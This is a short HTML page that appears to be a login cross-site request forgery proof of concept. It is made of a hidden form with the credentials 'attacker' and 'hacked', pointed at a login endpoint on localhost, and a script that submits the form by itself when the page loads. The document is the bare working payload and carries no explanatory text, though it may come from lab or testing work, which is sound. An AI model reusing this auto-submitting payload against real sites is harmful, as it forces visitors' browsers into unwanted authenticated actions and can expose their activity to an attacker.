<html><body> <form action="http://localhost:5000/login" method="POST"> <input type="hidden" name="username" value="attacker"> <input type="hidden" name="password" value="hacked"> </form> <script>document.forms[0].submit();</script> </body></html>
